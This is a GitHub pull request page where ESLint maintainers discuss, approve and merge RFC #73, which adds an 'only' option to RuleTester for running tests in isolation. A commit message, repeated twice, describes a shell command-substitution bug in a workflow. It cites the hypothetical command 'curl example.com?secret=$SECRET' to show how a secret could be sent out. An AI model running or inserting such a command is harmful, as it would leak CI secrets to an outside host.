Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New: RuleTester test isolation with only #73

Merged
merged 5 commits into from
Feb 9, 2021
Merged

Conversation

btmills
Copy link
Member

@btmills btmills commented Dec 28, 2020

Summary

RuleTester currently lacks a built-in way for developers to isolate individual tests during development. Temporarily deleting or commenting out the other tests is tedious. This adds an optional only property to run individual tests in isolation.

Related Issues

This was suggested as an alternative solution to RFC67 and eslint/eslint#13625 because that change may not be possible as currently described.

@btmills btmills added enhancement New feature or request Initial Commenting This RFC is in the initial feedback stage labels Dec 28, 2020
@btmills btmills changed the title New: RuleTester test isolation with only New: RuleTester test isolation with only Dec 28, 2020
btmills added a commit that referenced this pull request Dec 28, 2020
RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
nzakas pushed a commit that referenced this pull request Dec 29, 2020
RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.
Copy link
Member

@nzakas nzakas left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pretty much what I had in mind, so 👍. Just a few points of clarification.

designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
@btmills btmills force-pushed the 2020-rule-tester-only branch from 3a195d1 to c3fda44 Compare January 1, 2021 22:29
btmills added a commit to eslint/eslint that referenced this pull request Jan 1, 2021
@btmills
Copy link
Member Author

btmills commented Jan 1, 2021

I've pushed a prototype implementation to the rfc73 branch.

Copy link
Member

@mdjermanovic mdjermanovic left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good!

If that's still an open question, I'd vote to include the static RuleTester.only() helper.

@nzakas
Copy link
Member

nzakas commented Jan 23, 2021

I think we are ready for final commenting on this.

@nzakas nzakas added Final Commenting This RFC is in the final week of commenting and removed Initial Commenting This RFC is in the initial feedback stage labels Jan 23, 2021
@btmills
Copy link
Member Author

btmills commented Jan 23, 2021

I just updated the RFC text based on the last round of feedback to include the RuleTester.only() convenience method, note that throwing an error when only is unsupported is the right choice, and note that we don't feel the need to include skip in this change. All of the feedback should now be resolved.

@nzakas
Copy link
Member

nzakas commented Feb 4, 2021

Given that we have a competing RFC (#67), to accept this we must reject that. I’m 👍 to doing so.

@CoryDanielson
Copy link

CoryDanielson commented Feb 5, 2021

Given that we have a competing RFC (#67), to accept this we must reject that. I’m 👍 to doing so.

Done :) #67 (comment)

Thanks for working on this problem, everyone!

@nzakas
Copy link
Member

nzakas commented Feb 9, 2021

Okay, we have approved this RFC. 🎉

@nzakas nzakas merged commit 6173eab into master Feb 9, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request Final Commenting This RFC is in the final week of commenting
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants